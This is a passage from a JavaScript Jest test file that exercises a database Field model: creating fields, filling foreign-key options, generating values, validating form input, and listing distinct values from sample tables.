expect(fc.id > 0).toBe(true);
const f = await Field.findOne({ id: fc.id });
await f.delete();
const fs = await Field.find({ name: "Height11" });
expect(fs.length).toBe(0);
});
it("creates file field", async () => {
const patients = await Table.findOne({ name: "patients" });
const fc = await Field.create({
table: patients,
name: "pic",
label: "pic",
type: "File",
required: false,
});
expect(fc.reftable_name).toBe("_sc_files");
});
it("fills fkey options", async () => {
const f = await Field.findOne({ name: "favbook" });
await f.fill_fkey_options();
expect(f.options).toContainEqual({ label: "Leo Tolstoy", value: 2 });
if (db.isSQLite) expect(f.sql_type).toBe('int references "books" (id)');
else expect(f.sql_type).toBe('int references "public"."books" (id)');
expect(f.is_fkey).toBe(true);
expect(f.sql_bare_type).toBe("int");
});
it("generates fkeys", async () => {
const f = await Field.findOne({ name: "favbook" });
const v = await f.generate();
expect(typeof v).toBe("number");
});
});
describe("validate field", () => {
const field = new Field({
name: "age",
label: "Age",
type: "Integer",
});
expect(field.form_name).toBe("age");
const res = field.validate({ age: 17 });
expect(res).toStrictEqual({ success: 17 });
});
describe("generate ", () => {
it("color is string", async () => {
const field = new Field({
name: "col",
label: "col",
type: "Color",
});
const rnd = await field.generate();
expect(typeof rnd).toBe("string");
});
it("int not nan", async () => {
const field = new Field({
name: "x",
label: "x",
type: "Integer",
attributes: { max: 5 },
});
const rnd = await field.generate();
expect(typeof rnd).toBe("number");
expect(isNaN(rnd)).toBe(false);
});
});
describe("validate fkey field", () => {
const field = new Field({
name: "age",
label: "Age",
type: "Key to Foos",
});
expect(field.form_name).toBe("age");
const res = field.validate({ age: 17 });
expect(res).toStrictEqual({ success: 17 });
});
describe("validate bool field", () => {
const field = new Field({
name: "over_age",
label: "Over age",
type: "Bool",
});
expect(field.form_name).toBe("over_age");
const res = field.validate({ over_age: "on" });
expect(res).toStrictEqual({ success: true });
const res1 = field.validate({});
expect(res1).toStrictEqual({ success: false });
});
describe("validate parent field", () => {
const field = new Field({
name: "age",
label: "Age",
parent_field: "person",
type: "Integer",
});
expect(field.form_name).toBe("person_age");
const res = field.validate({ person_age: 17 });
expect(res).toStrictEqual({ success: 17 });
});
describe("validate parent field", () => {
const field = new Field({
name: "over_age",
label: "Over age",
type: "Bool",
parent_field: "person",
});
expect(field.form_name).toBe("person_over_age");
const res = field.validate({ person_over_age: "on" });
expect(res).toStrictEqual({ success: true });
const res1 = field.validate({});
expect(res1).toStrictEqual({ success: false });
});
describe("validator", () => {
const field = new Field({
label: "Age",
type: "Integer",
validator: (x) => false,
});
const res = field.validate({ age: 17 });
expect(res).toStrictEqual({ error: "Not accepted" });
});
describe("user presets", () => {
const field = new Field({
label: "User",
type: "Key to users",
});
const presets = field.presets;
expect(presets.LoggedIn({ user: { id: 5 } })).toBe(5);
});
describe("Field.distinct_values", () => {
it("gives string options", async () => {
const table = await Table.create("fdvtable");
const fc = await Field.create({
table,
label: "Colour",
type: "String",
required: true,
attributes: { options: "Red,Green,Purple" },
});
const dvs = await fc.distinct_values();
expect(dvs).toEqual([
{ label: "", value: "" },
{ label: "Red", value: "Red" },
{ label: "Green", value: "Green" },
{ label: "Purple", value: "Purple" },
]);
});
it("gives int values", async () => {
const table = await Table.findOne({ name: "fdvtable" });
const fc = await Field.create({
table,
name: "height",
label: "Height",
type: "Integer",
required: false,
});
await table.insertRow({ colour: "Red", height: 6 });
await table.insertRow({ colour: "Green", height: 11 });
const dvs = await fc.distinct_values();
expect(dvs).toEqual([
{ label: "", value: "" },
{ label: "6", value: 6 },
{ label: "11", value: 11 },
]);
});
it("gives fkey values", async () => {
const fc = await Field.findOne({ name: "favbook" });
const dvs = await fc.distinct_values();
expect(dvs).toEqual([
{ label: "", value: "" },
{ label: "Herman Melville", value: 1 },
{ label: "Leo Tolstoy", value: 2 },
]);
});
it("gives string values", async () => {
const books = await Table.findOne({ name: "books" });
books.insertRow({ author: "Herman Melville", pages: 56 });
const fc = await Field.findOne({ name: "author" });
const dvs = await fc.distinct_values();
expect(dvs).toEqual([
{ label: "", value: "" },
{ label: "Herman Melville", value: "Herman Melville" },
{ label: "Leo Tolstoy", value: "Leo Tolstoy" },
]);
});
});
|